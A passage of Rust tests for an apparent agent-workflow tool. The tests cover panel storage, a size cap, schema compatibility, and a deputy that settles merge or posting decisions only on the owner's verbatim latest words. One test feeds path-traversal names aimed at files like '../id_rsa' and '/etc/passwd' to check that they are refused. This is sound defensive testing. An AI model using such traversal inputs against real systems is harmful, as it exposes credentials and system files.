2668        std::fs::create_dir_all(&work).unwrap();
2669        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2670        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2671
2672        let mut q = panelled();
2673        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2674        s.put_panel(
2675            &mut q,
2676            html,
2677            &[work.join("table.png"), work.join("diff.svg")],
2678        )
2679        .unwrap();
2680        s.put(&mut q).unwrap();
2681
2682        assert!(q.panel);
2683        assert_eq!(
2684            q.assets,
2685            ["diff.svg", "table.png"],
2686            "sorted, not in the order the agent happened to pass them"
2687        );
2688        assert_eq!(
2689            s.panel_html(&q.id).as_deref(),
2690            Some(html),
2691            "the html is stored byte for byte; the agent authored the markup"
2692        );
2693        assert_eq!(
2694            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2695            Some(&b"<svg/>"[..])
2696        );
2697
2698        // The record on disk carries the same two fields the front end reads.
2699        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2700        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2701        assert_eq!(json["panel"], true);
2702        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2703        let back = s.get(&q.id).unwrap();
2704        assert!(back.panel);
2705        assert_eq!(back.assets, q.assets);
2706
2707        // The assets were copied, so the panel still renders after `magi fold`
2708        // has deleted the candidate worktree the agent authored it in.
2709        std::fs::remove_dir_all(&work).unwrap();
2710        assert_eq!(
2711            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2712            Some(&b"\x89PNG"[..]),
2713            "a referenced asset would be gone with the worktree"
2714        );
2715    }
2716
2717    #[test]
2718    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2719        let (dir, s) = store();
2720        let mut q = panelled();
2721        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2722        s.put(&mut q).unwrap();
2723
2724        // A file exactly one level up from the panel directory - which is
2725        // where `..` lands - holding content a read would make visible.
2726        let secret = "this must never reach the browser";
2727        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2728        assert_eq!(
2729            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2730            secret,
2731            "the traversal is real: the operating system resolves this path \
2732             happily, which is why the name has to be refused before the join"
2733        );
2734
2735        let long = "x".repeat(200);
2736        for name in [
2737            "..",
2738            "../id_rsa",
2739            "..\\id_rsa",
2740            "sub/../id_rsa",
2741            "/",
2742            "\\",
2743            "/etc/passwd",
2744            "C:\\Windows\\win.ini",
2745            "",
2746            ".hidden",
2747            ".",
2748            long.as_str(),
2749        ] {
2750            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2751            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2752            assert!(
2753                e.contains("not a panel file name"),
2754                "`{name}` must be refused as a name, not attempted: {e}"
2755            );
2756            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2757        }
2758        // A name that is allowed still finds its file, so the refusals above
2759        // were the rule at work and not a store that reads nothing.
2760        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2761
2762        // The same rule on the write side, where the name comes from a source
2763        // file's base name, and a refusal leaves the stored panel untouched.
2764        let hidden = dir.path().join(".hidden");
2765        std::fs::write(&hidden, "x").unwrap();
2766        let e = s
2767            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2768            .unwrap_err()
2769            .to_string();
2770        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2771        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2772        assert!(q.assets.is_empty());
2773    }
2774
2775    #[test]
2776    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2777        let (dir, s) = store();
2778        let mut q = panelled();
2779        s.put(&mut q).unwrap();
2780
2781        // Sized rather than filled: the cap reads the file's length, and a
2782        // test that actually produced eight mebibytes would only be slower.
2783        let big = dir.path().join("recording.png");
2784        std::fs::File::create(&big)
2785            .unwrap()
2786            .set_len(PANEL_MAX_BYTES)
2787            .unwrap();
2788
2789        let html = "<p>see the recording</p>";
2790        let total = PANEL_MAX_BYTES + html.len() as u64;
2791        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2792        assert!(
2793            e.contains(&PANEL_MAX_BYTES.to_string()),
2794            "the cap is named so the agent knows the limit: {e}"
2795        );
2796        assert!(
2797            e.contains(&total.to_string()),
2798            "the actual size is named so the agent knows by how much: {e}"
2799        );
2800
2801        assert!(!q.panel);
2802        assert!(q.assets.is_empty());
2803        let left: Vec<String> = std::fs::read_dir(s.root())
2804            .unwrap()
2805            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2806            .collect();
2807        assert_eq!(
2808            left,
2809            [format!("{}.json", q.id)],
2810            "a refused panel leaves neither a directory nor scratch: {left:?}"
2811        );
2812    }
2813
2814    #[test]
2815    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2816        let (dir, s) = store();
2817        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2818        std::fs::create_dir_all(&before).unwrap();
2819        std::fs::create_dir_all(&after).unwrap();
2820        std::fs::write(before.join("diff.png"), "before").unwrap();
2821        std::fs::write(after.join("diff.png"), "after").unwrap();
2822
2823        let mut q = panelled();
2824        let e = s
2825            .put_panel(
2826                &mut q,
2827                "<p>x</p>",
2828                &[before.join("diff.png"), after.join("diff.png")],
2829            )
2830            .unwrap_err()
2831            .to_string();
2832        assert!(e.contains("diff.png"), "{e}");
2833        assert!(
2834            e.contains("before") && e.contains("after"),
2835            "both sources are named, because the fix is to rename one: {e}"
2836        );
2837        assert!(!q.panel);
2838        assert!(!s.panel_dir(&q.id).exists());
2839    }
2840
2841    #[test]
2842    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2843        let (dir, s) = store();
2844        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2845        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2846
2847        let mut q = panelled();
2848        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2849            .unwrap();
2850        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2851            .unwrap();
2852
2853        assert_eq!(q.assets, ["new.png"]);
2854        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2855        assert!(
2856            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2857            "an asset from the first attempt would show a mix of two answers"
2858        );
2859
2860        s.drop_panel(&q.id).unwrap();
2861        assert!(s.panel_html(&q.id).is_none());
2862        assert!(!s.panel_dir(&q.id).exists());
2863        s.drop_panel(&q.id)
2864            .expect("dropping a panel that is already gone is the desired state");
2865    }
2866
2867    #[test]
2868    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2869        let (_dir, s) = store();
2870        let mut q = panelled();
2871        s.put(&mut q).unwrap();
2872
2873        assert!(!q.panel);
2874        assert!(s.panel_html(&q.id).is_none());
2875        assert!(
2876            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2877            "a missing file is a 404 for the caller, not a failure of the store"
2878        );
2879        let json = serde_json::to_value(&q).unwrap();
2880        assert_eq!(json["panel"], false);
2881        assert_eq!(json["assets"], serde_json::json!([]));
2882
2883        // And an empty panel is refused, because an empty frame reads to the
2884        // owner as "the agent had nothing to say".
2885        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2886        assert!(e.contains("empty panel"), "{e}");
2887        assert!(!s.panel_dir(&q.id).exists());
2888    }
2889
2890    #[test]
2891    fn a_question_written_before_panels_existed_still_deserialises() {
2892        let (_dir, s) = store();
2893        std::fs::create_dir_all(s.root()).unwrap();
2894        let id = "20260902-231501-ab12";
2895        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2896        let body = r#"{
2897  "schema": 1,
2898  "id": "20260902-231501-ab12",
2899  "run": "20260902-201256-9fb7",
2900  "node": "implement",
2901  "seat": "impl-A",
2902  "summary": "Which storage backend should the cache use?",
2903  "detail": "Both are already dependencies.",
2904  "choices": ["SQLite", "Redis"],
2905  "status": "open",
2906  "asked_at": "2026-09-02T23:15:01Z",
2907  "answered_at": null,
2908  "answer": null
2909}"#;
2910        std::fs::write(s.path_of(id), body).unwrap();
2911
2912        let q = s.get(id).unwrap();
2913        assert!(
2914            !q.panel,
2915            "an absent field means no panel, not a parse error"
2916        );
2917        assert!(q.assets.is_empty());
2918        // Schema 1 predates `thread` entirely - not merely predates it having
2919        // any turns - and this build now speaks schema 3. Reading it must not
2920        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2921        // accepted and the missing field defaults to no conversation yet.
2922        assert_eq!(q.schema, 1);
2923        assert!(q.thread.is_empty());
2924        assert_eq!(
2925            q.answer_timeout, 0,
2926            "an absent field means unrecorded, not a zero-second deadline"
2927        );
2928        assert!(!q.waiting_on_agent());
2929        assert_eq!(q.summary, "Which storage backend should the cache use?");
2930        assert_eq!(
2931            s.list().len(),
2932            1,
2933            "and it is still listed; skipping it would hide an open question"
2934        );
2935    }
2936
2937    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2938        Turn {
2939            who,
2940            body: body.to_owned(),
2941            at,
2942            note: None,
2943        }
2944    }
2945
2946    #[test]
2947    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2948        // The phone reads this shape by hand, same as the question itself: a
2949        // rename here is a card that silently drops every message in it.
2950        let mut q = choice_question();
2951        q.thread
2952            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2953        let value = serde_json::to_value(&q.thread[0]).unwrap();
2954        let mut keys: Vec<&str> = value
2955            .as_object()
2956            .unwrap()
2957            .keys()
2958            .map(String::as_str)
2959            .collect();
2960        keys.sort_unstable();
2961        assert_eq!(keys, ["at", "body", "who"]);
2962        assert_eq!(value["who"], "operator");
2963        assert_eq!(value["body"], "why not Postgres?");
2964
2965        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2966        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2967        assert_eq!(parsed.who, Who::Agent);
2968    }
2969
2970    fn approval_question() -> Question {
2971        let mut q = Question::new(
2972            "run".into(),
2973            crate::land::APPROVAL_NODE.into(),
2974            "land".into(),
2975            "Merge?".into(),
2976            String::new(),
2977            vec!["merge".into(), "hold".into()],
2978        );
2979        let mut dep = Deputy::new("brief".into());
2980        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2981        q.deputy = Some(dep);
2982        q
2983    }
2984
2985    #[test]
2986    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
2987        for choice in [
2988            crate::land::HOLD,
2989            crate::land::REPAIR,
2990            crate::merge_decision::WITHDRAW,
2991            "reimplement:beta",
2992        ] {
2993            let mut q = approval_question();
2994            q.node = crate::land::APPROVAL_NODE.into();
2995            q.choices = vec!["merge".into(), choice.into()];
2996            q.merge_target = Some(crate::merge_decision::Target {
2997                pr: "PR 42".into(),
2998                head: "abc".into(),
2999                language: "en".into(),
3000            });
3001            q.say(format!("Should we choose {choice}?")).unwrap();
3002            assert!(
3003                q.settle_by_deputy("deputy-x", choice, choice, None)
3004                    .is_err()
3005            );
3006            q.say(choice).unwrap();
3007            q.settle_by_deputy("deputy-x", choice, choice, None)
3008                .unwrap();
3009            assert_eq!(q.resolution().as_deref(), Some(choice));
3010        }
3011        let mut q = approval_question();
3012        q.node = crate::land::APPROVAL_NODE.into();
3013        q.choices = vec!["merge".into(), "hold".into()];
3014        q.merge_target = Some(crate::merge_decision::Target {
3015            pr: "PR 42".into(),
3016            head: "new-head".into(),
3017            language: "en".into(),
3018        });
3019        q.say("merge old-head").unwrap();
3020        assert!(
3021            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3022                .is_err()
3023        );
3024        q.say("merge new-head").unwrap();
3025        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3026            .unwrap();
3027    }
3028
3029    #[test]
3030    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3031        let mut q = approval_question();
3032        q.choices.push(crate::land::REPAIR.into());
3033        q.say("maybe fix findings and re-review").unwrap();
3034        assert!(
3035            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3036                .is_err()
3037        );
3038        q.say(crate::land::REPAIR).unwrap();
3039        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3040            .unwrap();
3041        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3042        assert_eq!(
3043            crate::land::approval(q.resolution().as_deref()),
3044            crate::land::Approval::Repair
3045        );
3046    }
3047
3048    #[test]
3049    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3050        let mut q = approval_question();
3051        q.say("merge").unwrap();
3052        q.reply("sure?", vec!["merge".into(), "hold".into()])
3053            .unwrap();
3054        q.say(" Merge it please ").unwrap();
3055        assert!(
3056            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3057                .is_err(),
3058            "an empty quote is refused"
3059        );
3060        assert!(
3061            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3062                .is_err(),
3063            "a quote the owner never said is refused"
3064        );
3065        assert_eq!(q.status, QuestionStatus::Open);
3066        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3067            .unwrap();
3068        assert_eq!(q.resolution().as_deref(), Some("merge"));
3069    }
3070
3071    #[test]
3072    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3073        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3074        let mk = || {
3075            let mut q = Question::new(
3076                "run".into(),
3077                crate::github_text::ASK_NODE.into(),
3078                crate::github_text::ASK_SEAT.into(),
3079                "s".into(),
3080                String::new(),
3081                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3082            );
3083            let mut dep = Deputy::new("brief".into());
3084            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3085            q.deputy = Some(dep);
3086            q
3087        };
3088        let mut hedged = mk();
3089        hedged.say("Post the original, maybe?").unwrap();
3090        assert!(
3091            hedged
3092                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3093                .is_err()
3094        );
3095        let mut clear = mk();
3096        clear.say("Post the original text as it is.").unwrap();
3097        clear
3098            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3099            .unwrap();
3100        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3101        let mut japanese = mk();
3102        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3103        japanese.say(words).unwrap();
3104        japanese
3105            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3106            .unwrap();
3107        let mut unrelated = mk();
3108        unrelated.say("Proceed with the task").unwrap();
3109        assert!(
3110            unrelated
3111                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3112                .is_err()
3113        );
3114        for words in [
3115            "OK, post the original",
3116            "Yes, post original",
3117            "I'd like to post the original",
3118        ] {
3119            let mut natural = mk();
3120            natural.say(words).unwrap();
3121            natural
3122                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3123                .unwrap();
3124        }
3125        for (message, quote) in [
3126            (
3127                "ログには「元の説明で投稿しました」と記録されています。",
3128                "ログには「元の説明で投稿しました」と記録されています。",
3129            ),
3130            (
3131                "ログには「元の説明で投稿してください」と記録されています。",
3132                "元の説明で投稿してください",
3133            ),
3134        ] {
3135            let mut descriptive = mk();
3136            descriptive.say(message).unwrap();
3137            assert!(
3138                descriptive
3139                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3140                    .is_err()
3141            );
3142            assert!(descriptive.status.open());
3143            assert!(descriptive.answer.is_none());
3144        }
3145        let mut descriptive = mk();
3146        let message = "Post original was the option I saw.";
3147        descriptive.say(message).unwrap();
3148        for quote in [message, "Post original"] {
3149            assert!(
3150                descriptive
3151                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3152                    .is_err()
3153            );
3154            assert!(descriptive.status.open());
3155            assert!(descriptive.answer.is_none());
3156        }
3157        // The changed text is the safe default: no extra guard beyond the quote.
3158        let mut safe = mk();
3159        safe.say("use the fallback").unwrap();
3160        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3161            .unwrap();
3162    }
3163
3164    #[test]
3165    fn posting_deputy_rejects_multiline_quoted_context() {
3166        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3167        for (command, choice) in [
3168            ("Post original", POST_ORIGINAL),
3169            ("Use rewrite", USE_REWRITE),
3170        ] {
3171            for message in [
3172                format!("The log contains:\n```\n{command}\n```"),
3173                format!("The log contains:\n\"\n{command}\n\""),
3174                format!("The log says: “Reported. {command}.”"),
3175                format!("The log says: “\n{command}\n”"),
3176            ]
3177            .into_iter()
3178            .chain(crate::github_text::reported_posting_messages(command))
3179            {
3180                let mut q = Question::new(
3181                    "run".into(),
3182                    ASK_NODE.into(),
3183                    ASK_SEAT.into(),
3184                    "s".into(),
3185                    String::new(),
3186                    vec![USE_FALLBACK.into(), choice.into()],
3187                );
3188                let mut dep = Deputy::new("brief".into());
3189                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3190                q.deputy = Some(dep);
3191                q.say(&message).unwrap();
3192                let tmp = tempfile::tempdir().unwrap();
3193                let questions = Questions::at(tmp.path().join("questions"));
3194                questions.put(&mut q).unwrap();
3195                for quote in [command, message.as_str()] {
3196                    assert!(
3197                        questions
3198                            .update(&q.id, |stored| {
3199                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3200                            })
3201                            .is_err()
3202                    );
3203                    let after = questions.get(&q.id).unwrap();
3204                    assert!(after.status.open());
3205                    assert!(after.answer.is_none());
3206                }
3207            }
3208        }
3209    }
3210
3211    #[test]
3212    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3213        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3214        let mk = || {
3215            let mut q = Question::new(
3216                "run".into(),
3217                crate::github_text::ASK_NODE.into(),
3218                crate::github_text::ASK_SEAT.into(),
3219                "s".into(),
3220                String::new(),
3221                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3222            );
3223            let mut dep = Deputy::new("brief".into());
3224            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3225            q.deputy = Some(dep);
3226            q
3227        };
3228        let mut hedged = mk();
3229        hedged.say("Use the rewrite, maybe?").unwrap();
3230        assert!(
3231            hedged
3232                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3233                .is_err()
3234        );
3235        let mut descriptive = mk();
3236        let message = "Use rewrite was the option I saw.";
3237        descriptive.say(message).unwrap();
3238        for quote in [message, "Use rewrite"] {
3239            assert!(
3240                descriptive
3241                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3242                    .is_err()
3243            );
3244            assert!(descriptive.status.open());
3245            assert!(descriptive.answer.is_none());
3246        }
3247        for words in [
3248            "Use the rewrite text as it is.",
3249            "I'd like to use the rewrite",
3250            "修正版で投稿してください。",
3251        ] {
3252            let mut clear = mk();
3253            clear.say(words).unwrap();
3254            clear
3255                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3256                .unwrap();
3257            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3258        }
3259        // The changed text is the safe default: no extra guard beyond the quote.
3260        let mut safe = mk();
3261        safe.say("use the fallback").unwrap();
3262        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3263            .unwrap();
3264    }
3265
3266    #[test]
3267    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3268        let mk = |choices: Vec<String>| {
3269            let mut q = Question::new(
3270                String::new(),
3271                crate::bump::NOTICE_NODE.into(),
3272                "release-watch".into(),
3273                "Release?".into(),
3274                String::new(),
3275                choices,
3276            );
3277            let mut dep = Deputy::new("brief".into());
3278            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3279            q.deputy = Some(dep);
3280            q
3281        };
3282        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3283        assert!(crate::deputy::merge_gated(&approval));
3284        approval.say("マージしていいよ").unwrap();
3285        assert!(
3286            approval
3287                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3288                .is_err(),
3289            "a quote the owner never said is refused"
3290        );
3291        approval
3292            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3293            .unwrap();
3294
3295        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3296        assert!(!crate::deputy::merge_gated(&esc));
3297        esc.say("もう監視はいらない").unwrap();
3298        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3299            .unwrap();
3300        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3301    }
3302
3303    #[test]
3304    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3305        let mut q = approval_question();
3306        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3307            .unwrap();
3308        assert!(
3309            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3310                .is_err(),
3311            "the quote must be the owner's"
3312        );
3313        assert!(
3314            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3315                .is_err(),
3316            "`hold` still needs the whole message"
3317        );
3318        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3319            .unwrap();
3320        assert_eq!(q.resolution().as_deref(), Some("merge"));
3321    }
3322
3323    fn settle_ready() -> Question {
3324        let mut q = Question::new(
3325            "task".to_owned(),
3326            "conduct".to_owned(),
3327            "conduct".to_owned(),
3328            "Done?".to_owned(),
3329            String::new(),
3330            vec!["yes".to_owned(), "no".to_owned()],
3331        );
3332        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3333        seat.turns = 1;
3334        let mut dep = Deputy::new("brief".to_owned());
3335        dep.seat = Some(seat);
3336        q.deputy = Some(dep);
3337        q.say("setup done, and file a follow-up").unwrap();
3338        q
3339    }
3340
3341    #[test]
3342    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3343        let dir = tempfile::TempDir::new().unwrap();
3344        let store = Questions::at(dir.path().join("questions"));
3345        let mut q = settle_ready();
3346        let id = q.id.clone();
3347        store.put(&mut q).unwrap();
3348        store
3349            .update(&id, |q| {
3350                q.settle_by_deputy(
3351                    "deputy-x",
3352                    "yes",
3353                    "setup done",
3354                    Some("  no follow-up was queued  "),
3355                )
3356            })
3357            .unwrap();
3358        let back = store.get(&id).unwrap();
3359        let turn = back.thread.last().unwrap();
3360        assert_eq!(turn.who, Who::Agent);
3361        assert!(turn.body.starts_with("Settled as `yes`"));
3362        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3363        assert_eq!(back.thread[0].note, None);
3364    }
3365
3366    #[test]
3367    fn an_empty_or_blank_settle_note_is_no_note() {
3368        for note in [None, Some(""), Some("  \n ")] {
3369            let mut q = settle_ready();
3370            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3371                .unwrap();
3372            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3373            let json = serde_json::to_string(&q).unwrap();
3374            assert!(!json.contains("\"note\""), "no key when there is none");
3375        }
3376    }
3377
3378    #[test]
3379    fn a_refused_settle_leaves_no_note_behind() {
3380        let mut q = settle_ready();
3381        let before = q.thread.clone();
3382        assert!(
3383            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3384                .is_err()
3385        );
3386        assert!(
3387            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3388                .is_err()
3389        );
3390        assert_eq!(q.thread, before);
3391        assert_eq!(q.status, QuestionStatus::Open);
3392    }
3393
3394    #[test]
3395    fn a_turn_written_before_notes_existed_still_reads() {
3396        let t: Turn =
3397            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3398                .unwrap();
3399        assert_eq!(t.note, None);
3400    }
3401
3402    #[test]
3403    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3404        let mut q = approval_question();
3405        q.say("merge").unwrap();
3406        q.reply("sure?", vec!["merge".into(), "hold".into()])
3407            .unwrap();
3408        q.say("wait, hold off").unwrap();
3409        assert!(
3410            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3411                .is_err()
3412        );
3413        assert_eq!(q.status, QuestionStatus::Open);
3414    }
3415
3416    #[test]
3417    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3418        let mut q = Question::new(
3419            "task".to_owned(),
3420            "conduct".to_owned(),
3421            "conduct".to_owned(),
3422            "Done?".to_owned(),
3423            String::new(),
3424            vec!["yes".to_owned(), "no".to_owned()],
3425        );
3426        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3427        seat.turns = 1;
3428        let mut dep = Deputy::new("brief".to_owned());
3429        dep.seat = Some(seat);
3430        q.deputy = Some(dep);
3431        q.say("setup done, go ahead").unwrap();
3432
3433        assert!(
3434            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3435                .is_err()
3436        );
3437        assert!(
3438            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3439                .is_err()
3440        );
3441        assert!(
3442            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3443                .is_err()
3444        );
3445        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3446        assert_eq!(q.status, QuestionStatus::Open);
3447
3448        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3449            .unwrap();
3450        assert_eq!(q.status, QuestionStatus::Answered);
3451        assert_eq!(q.resolution().as_deref(), Some("yes"));
3452        let last = q.thread.last().unwrap();
3453        assert_eq!(last.who, Who::Agent);
3454        assert!(
3455            last.body.contains("setup done"),
3456            "the quote stays on the record"
3457        );
3458    }
3459
3460    #[test]
3461    fn a_question_written_before_deputies_still_reads() {
3462        let mut q = Question::new(
3463            "task".to_owned(),
3464            "conduct".to_owned(),
3465            "conduct".to_owned(),
3466            "Done?".to_owned(),
3467            String::new(),
3468            Vec::new(),
3469        );
3470        q.schema = 4;
3471        let mut v = serde_json::to_value(&q).unwrap();
3472        v.as_object_mut().unwrap().remove("deputy");
3473        let back: Question = serde_json::from_value(v).unwrap();
3474        assert!(back.deputy.is_none());
3475    }
3476
3477    #[test]
3478    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3479        let mut q = choice_question();
3480        q.say("does the cache need eviction?").unwrap();
3481        assert_eq!(q.thread.len(), 1);
3482        assert_eq!(q.thread[0].who, Who::Operator);
3483        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3484        // Speaking is not deciding: the status and the answer are untouched,
3485        // which is the whole point of the round trip existing at all.
3486        assert_eq!(q.status, QuestionStatus::Open);
3487        assert!(q.answer.is_none());
3488        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3489    }
3490
3491    #[test]
3492    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3493        let mut answered = choice_question();
3494        answered
3495            .answer(Answer::Choice("SQLite".to_owned()))
3496            .unwrap();
3497        let a = answered.say("still there?").unwrap_err().to_string();
3498        assert!(a.contains("already answered"), "{a}");
3499        let b = answered
3500            .reply("still there?", vec![])
3501            .unwrap_err()
3502            .to_string();
3503        assert!(b.contains("already answered"), "{b}");
3504
3505        let mut abandoned = choice_question();
3506        abandoned.abandon("timed out");
3507        let c = abandoned.say("hello?").unwrap_err().to_string();
3508        assert!(c.contains("abandoned"), "{c}");
3509
3510        let mut open = choice_question();
3511        let d = open.say("   ").unwrap_err().to_string();
3512        assert!(d.contains("empty"), "{d}");
3513        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3514        assert!(e.contains("empty"), "{e}");
3515        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3516    }
3517
3518    #[test]
3519    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3520        let mut q = choice_question();
3521        q.say("SQLite or Redis, but what about disk space?")
3522            .unwrap();
3523        assert!(q.waiting_on_agent());
3524
3525        q.reply(
3526            "SQLite: it is one file, no server to run.",
3527            vec!["SQLite".to_owned()],
3528        )
3529        .unwrap();
3530
3531        assert_eq!(q.choices, ["SQLite"]);
3532        assert!(
3533            !q.waiting_on_agent(),
3534            "the agent spoke, so the owner is the one being waited on now"
3535        );
3536        assert_eq!(q.thread.len(), 2);
3537        assert_eq!(q.thread[1].who, Who::Agent);
3538
3539        // The new choice set is what a subsequent answer is checked against.
3540        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3541        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3542        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3543    }
3544
3545    #[test]
3546    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3547        let mut fresh = choice_question();
3548        assert!(
3549            fresh.should_notify(Timestamp::now()),
3550            "nobody has been notified yet, so the first ask always pages"
3551        );
3552
3553        fresh.say("why not Postgres?").unwrap();
3554        let just_said = fresh.thread[0].at;
3555        assert!(
3556            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3557            "still on the screen a minute later; no need to page again"
3558        );
3559        assert!(
3560            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3561            "exactly the window: `>` means this side stays quiet"
3562        );
3563        assert!(
3564            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3565            "past the window: they may have walked away"
3566        );
3567    }
3568
3569    #[test]
3570    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
